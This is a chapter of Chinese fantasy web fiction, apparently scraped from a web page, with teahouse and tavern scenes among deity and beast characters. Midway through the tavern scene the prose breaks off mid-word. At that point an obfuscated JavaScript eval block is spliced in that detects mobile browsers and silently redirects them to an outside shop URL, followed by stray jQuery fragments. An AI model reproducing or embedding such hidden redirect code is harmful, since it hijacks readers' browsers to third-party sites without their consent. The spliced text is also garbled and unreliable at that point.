鸾宸殿内帷幕尽数翕拢，天光晦暗不明。一少年静坐玉榻，闭目养神，膝畔白兔安详浅眠，殿内岑寂一片。
烛龙不请自来，左手揣着先前那只灰兔，甫一闪现殿内，抬手一打响指，青铜鹤灯应声腾起道道碧火，将月白大殿映得青碧一片。
玉榻上的少年被她这般动静闹醒，不客气道：“你来干什么。”
时我步举起怀中那蓬松了不少的茸兽：“切磋饲兔之术。”
“幼稚。”
烛龙忙不迭捂住灰兔的耳朵：“却不能让它听了去。”
青鸾白了她一眼，将膝畔白兔往身后拢了拢，生怕染上那股愚气。
“前日交代之事可曾办妥？”
时我步正等她这句话，轻抚一番灰兔的毛发，说道：“真相大白，是以前来申冤。”
“废话少说。”
“伊人乃母亲故友，汝中伤之，可是要赔礼道歉？”
殿中那少年久违地陷入沉吟，时我步捋着茸兽的针须，并不着急听她答复。
子清自知理亏，却不愿输了气势，思虑少顷，回应：“母亲那边余自会分说。”她望着烛龙那副小人得志模样，微微颦眉，“至于你，左右不过游手好闲，偶然行此一桩善举，反倒积了些许阴德。”
时我步本想将她刁难，闻此言语，反倒被呛得不轻，忿忿道：“依汝所言，吾还要道谢不成？”
“你若是有心，便离我远些，容我几日清净。”
烛龙尾梢那火簇窜升了半寸，眼见着辩之不过，索性揣着兔子拂袖而去。
殿扉訇然洞开，旋即重重阖闭，陡然翻涌而起的气流涤荡而过，将殿内烛火尽数卷灭，门外响起一众侍卫的惊呼。
子清暗自轻叹一声，唤来侍男将白兔好生安置，又更换一身行装打扮。
青鸾行入朱雀长街，神识漫扫街巷各处，良久，在一家茶坊厅堂寻见所觅之人。她身形一晃，便现身茶坊门首。
子清不疾不徐地步入其中，径直走向旁侧近轩窗处。
牙无餍此刻正与牙甘一道吃茶，案上码放诸多瓷碟，另有一断角虫豸匍匐其上，慢条斯理地啮食糕点。牙甘神识觉察来人，扭头对她招呼道：“子清。”
牙无餍警觉环视四周，生怕这动静引起周遭旁人的注意。所幸茶楼人声鼎沸，话语落入空中便被喧嚣稀释，并未有人留心于此。
“母亲。”
牙无餍拉开身畔长椅，对着账桌朗声道：“茶博士，换上品茶来！”
子清落座，见牙无餍双肩不住地抖动，遂殷殷关切道：“母亲可是怎的了？”
“没什么，只是想到高兴的事情。”
她辗转茶馆酒楼半年已久，有样学样地招呼了不少店员，对这些称谓算得上是了如指掌。然则每次到来茶馆依旧忍俊不禁，岂料前世苦心经营亦未必有资格斩获的称号，在中古只要泡泡茶便能获得。
牙无餍将那油炸金蝉推到女子跟前，想着鸟雀都捕食虫豸，大抵青鸾亦不例外。
“知了猴，外边买的，这茶馆还不卖哩。”
“有劳母亲。”
青鸾正襟危坐，并不曾动手，沉吟片刻，犹豫道：“余伤及母亲之故友，心中歉疚万分，却不知该如何弥补，唯有此物堪堪拿得出手。”
她递出一枚青翎，解释道：“此物可抵挡余之全力一击，赠予母亲之故旧。”接着又掏出一枚戒指，“此处有些许盘缠，母亲许能用上。”
“哎呀，你这小孩，一家人咋恁客气呢？吃糕，吃糕。”牙无餍将那甜糕与榛子悉数往人面前推去。
不消多时，茶博士端来新茶。她又抢来陶壶亲自为女子斟茶。偌大的半壁案桌一时间横满了瓷碟与杯盏。
那甲虫有些畏惧来人，又为吃食吸引，是以踟蹰不前。牙甘见状，拣了一块栗糕递至她嘴边，甲虫欢快地振起薄翼，以示感谢。
邻桌还在大肆宣扬着昨日烛龙的事迹，子清闻言稍显不耐，牙无餍不禁有些汗颜。
“……真不愧为龙神殿下！”
“诶哟，我看九州近来实在不太平，方攘退了那大荒之众，又有一个什么甲兽前来！”
“得亏还有个管事的，好叫外乡人不至于太放肆。”
“若都是这般便好了。”
“诸位，说话注意些言辞。”
牙无餍担心女子遗传了牙甘的脾气，赶忙坐起身来：“你们慢慢吃，我先去柜上把茶钱结了。”语罢，匆匆而去。
牙甘正兀自品茗，留心到女子的神情，思及初见人魂时对方所言及之话语，难得关切道：“可是有负担压在心头？”
子清闻声微微怔愣，显然始料不及。她轻轻摇头，表示：“余并不打紧，有劳母亲费心了。”
“莫要逞强。”
九天尊神自冠宇名号起，其一举一动皆万众瞩目。世人敬仰神明，祈祷获得神明庇佑，是以竭诚尽力将之侍奉。神明也曾有求必应，奈何九州人众之多，未免难以兼顾。
世人贪得无厌，当唾手可得的事物难以企及之时，彼人自觉为神明所背叛，于是信仰离逝，信念不再，讴歌变作唾骂，颂扬变作污辱。
子清略显失神，耳畔响起鸣声，待眸光重新聚敛，她微笑道：“母亲误会了，孩儿向来量力而行。”
若是起初便置之不顾，是否便不会生出往后这许多瓜葛纷争？
甲虫啃光了比她身量大上几倍的栗糕，又爬去吃那咸香油润的卤青豆，方预备下口，便被匆匆赶来的牙无餍给一把拾到了肩上。
“账结完了，咱们走吧。”
余下的二人坐起身。牙无餍见桌上食点还剩下许多，秉承着不浪费粮食的传统美德，她用灵力将食物尽数打包进了虚空里。三人随后一道步出茶馆。
-
光阴飞逝，转眼孟冬已至，擂决亦随之告一段落。
近月以来，牙无餍为了不露锋芒，将擂赛时间卡在八分钟上下。与此同时，看众察觉斯人于一盏茶的功夫之内势必一招制敌，猜测她具备某种蓄力功法。
子清昔日所给予的戒指实为一枚须弥芥子，牙无餍查看过后被那一座座金山银山惊得目瞪口呆，为此颇为慷慨地分予明不少钱。经过一月一旬的相处，明的语言能力进步了不少，现今堪比讲话磕绊的垂髫小儿。
牙甘保持着万年不变的散养育儿法，表示她可以自行出去玩耍。
“你疯了吗，她连话都说不利索啊！”
“子清与烛当初亦是这般。”
牙无餍思考了一番慈母多败儿的可能性，难道小烛实力不比小清，其中就有自己的一半原因吗。
“好吧！但是明，你千万不能搞破坏，也不能动不动就把人杀掉，明白吗！”
她将掌缘横架在颈前，拟了个自刎的动作，以此示意。
“我，知道。”
得到了二人的应允，少年顶着断角，兴致冲冲地向门外跑去，在门扉敞开的瞬间化作一只甲虫，振翼向着城北飞驰。
城北关厢一隅酒肆处，赤豹肩披斗篷，头戴箬笠，颀长独角自箬笠开口处显露，身后五根鞭尾上下摇曳。
赤豹啜饮着花果酒。酒保托来承盘，将腌渍嫩姜与糟鸡送上案头。
“大人，您的菜。”
赤豹微微颔首，酒保躬身而退。她拾起筷箸夹着糟鸡往口中送去。糟鸡新鲜现做，剔骨切作薄片，酒香清淡，口感细润，鸡皮在复蒸过后入口即化，舌齿轻轻一抿便如凝脂般化开。
门首倏尔传来吱呀声响。一玄虎头生独角，推门而入，一青牛紧跟其后，似是由于门楣低矮，她伛着身子方堪堪挤进门来。不少饕客见状，当即在暗地里私语。
“那不是先前与殿下交手的……”
“这帮人怎的还在此处？”
酒保方才回到柜台，转眼又是两尊大佛驾临。他连忙折身前去将人牵引：“两位大人可有什么需要？”
罡抛给人一枚铜钱，径直略过他走向肆堂。钧弯下身来代为答复：“找人。”
酒保手忙脚乱地接过那钱币，自知不宜追问，躬身速速朝后退去。
赤豹方咽下嫩姜，又吃一口花果酒。正对面的玄虎不请自来，兀自拉开长凳坐定，身畔那巨人许是忧心将这木凳坐塌，只是干杵一旁一动未动。
“判官大人这般落魄，是来我处讨食不成？”
罡没心思同她斡旋，开门见山道：“何人遣派于你。”
赤豹将那糟鸡往呲铁手边轻推，对着柜台唤道：“酒保，添两套碗筷，再来三盘炙肉两碟卤耳丝，取一坛上好的清酒来！”又笑吟吟将目光转向那獬豸，“判官大人恐怕并非诚心发问。”
“你近日方到。”
“奉差行事罢了，这般劳苦差事，又岂能令旁人独自承担。”
罡眉峰微敛：“此事我已启禀主君，凭她的为人，断不会容许旁人踏足此地。你是受沧哄骗至此。”
“莫要将事情说得这般严重，我现下不是全须全尾地坐在此处么。”
“此间是非丛生，奉劝你尽早抽身。”
菜肴很快备齐，酒保托着承盘，将瓷碟碗筷一一布置毕，垂手预备告退。赤豹见那巨人始终站定不动，遂出声将他叫住：“换个结实点的坐凳来，这般脆弱，成什么样子。”
罡知晓她心中不服气，却不能置之不理，正颜厉色道：“你对敌手一无所知，贸然行动，唯有白白送命。”
一头身强力壮的熊罴从□□抱来一方石墩，磐石压得她肩背微沉。钧将原先位置上的长凳拉开，她屈膝俯身，将石墩稳稳搁置于地面，落处闷响一声，地砖微微震颤，扬起些许浮灰。钧瓮声
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17842629|211352||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
瓮气地谢过那人。熊罴身宽体胖，却仍是较她矮了半身。
赤豹将大块的炙肉整盘端放呲铁跟前：“瞧瞧你，多日不见，竟瘦得如同柴枝一般，定要喝吃好喝好生补一补。”
钧右臂旧伤未愈，只能伸左手去撩那筷子，指尖仿佛不受驱使，几番尝试，始终不见夹起一块肉食。
赤豹见此情形，喝声道：“这么拘谨作甚，用手拣！”
罡吃罢一筷卤耳丝，待细细嚼咽了，又饮一口清酒，说道：“你休要不当回事，况且初擂已过，你便是心有余亦力不足。”
赤豹继续吃那尚且温热的糟鸡，漫不经心道：“有何打紧？左右我此行非为擂决而来。”
“那你缘何来此？”
赤豹咧嘴一笑，臂膀大敞，手掌一引，指向满桌的吃食：“便是为此。大荒几时若有这般珍味，我便长留彼方了！”
罡只当她在转移话题，轻叹一声，语重心长道：“朔方已去，莫要重蹈前人后尘。”
这一面三人各抒己见，那一面门首又来一位不速之客。少年鬓齐于耳，头生弯角，其左角断面因打磨而稍显雏形。
面向肆门的几桌率先发出惊呼，一众饕客闻风而动，频频回首，纷纷议论。
“见鬼了，这接二连三的。”
“尽是些不怕死的，殿下威信在此，她们如何还敢抛头露面？”
最属惶恐的还是那酒保，纵使心中万般不安，仍然硬着头皮趋步上前：“客官有何吩咐？”
明看不懂水牌上的文字，所幸多日以来跟随牙无餍辗转饭馆，勉强记住了一些菜名。于是磕绊道：“花生，弩流肉，呃……水木块？”
“可是盐水花生、卤牛肉与水母脍？”
“嗯。”
酒保汗颜，将她牵引至临窗小案。明方落座片刻，又忽然起身，面向厅堂中央那大荒三人走去。
赤豹右脚踏着长凳，膝胸相抵，正大口咀嚼炙肉，余光瞥见来人，诧异了一瞬，旋即将目光转向对面那獬豸：“你与她相识？”
“不曾。”
少年站定案前，顾视三人一圈，继而指着那糟鸡问道：“这个，叫什么？”
“此乃‘糟鸡’。”赤豹笑了笑，说道：“去将你那碗筷端来。”
明沉吟片刻，应声端来瓷碗，赤豹倒持筷尾，颇为慷慨地夹起一摞鸡片搁进碗里。
“多谢。”
明得到了鸡片，高兴地步回窗边。俄顷那酒保将冷菜托承来，明又招呼他另添一份糟鸡，继而剥起那花生壳子。其实她想要的是油炸花生米，然则这盐水花生别有一番风味，索性将错就错。
邻桌的妖兽还在窃窃私议。
“你当真能够确定，此人便是她？”
“两回我皆在场，必是此人无疑。谢卫尉一个八阶大能，竟被她打得全无还手之力！”
另一只雕妖接话道：“不仅如此，斯人硬捱殿下一击，尚且全身而退！”
几人压低声量，语气却是讶异非常。
这动静自然难掩大妖耳目。赤豹用余光端详那白发少年，吃进一口卤耳丝，又拭去嘴边红油，同旁人搭话道：“你们可有瞧出她出自何脉？”
罡咀咀嚼一阵，谨慎道：“獓因体格庞硕，驳头生独角，皆不似这般相貌。”
兴许出于同病相怜，钧难得有所表示：“她拙于言辞。”
罡推测：“许是不熟雅言。”
雅言乃是九州与洪荒分布最广的语言，在南方半岛亦有诸多邦国使用，然而朱洲与西洋等地却另成一派体系。
“不熟不打紧，有人稍加提点，便自然而然习得了。”
罡知晓她并非热心之辈，此言只怕别有深意。她警告道：“休要打旁人主意。”
“我岂是那样的人？”
三人又闲谈不少琐事。罡饮尽碗中残酒，自怀中摸出一吊铜钱，搁于案面。赤豹抬眼望了她一眼：“哪用得上这么多。”
“未备碎钱。”
“判官大人出手阔绰。”
罡起身摆手，钧亦跟随她坐起。二人踏出茶坊门首，呲铁魁梧的身躯穿行过道，又引得周遭一阵喧哗。
赤豹结清账单，旋即走向一侧窗牖，半途拎过一把杌凳，摆落独案之侧，抬手一撩斗篷，大剌剌地岔开腿落座。
案前少年腮帮子鼓起，正大口咀嚼糟鸡。赤豹见她欲要开口搭话，赶忙抬手阻拦：“我说我的，你吃你的。”
身后那五条鞭尾轻轻晃荡，赤豹微笑道：“我名为‘啸’，家住外海，云游至此，想来与你是同道中人。不知小友如何称呼，倘若方便，望你与我一道同行。”
明听她叽里呱啦说了一长串话，仅堪堪捕捉到“名为”“称呼”二词。她咽下口中鸡肉，凝视苦思片刻，依葫芦画瓢应声道：“我名为，明。”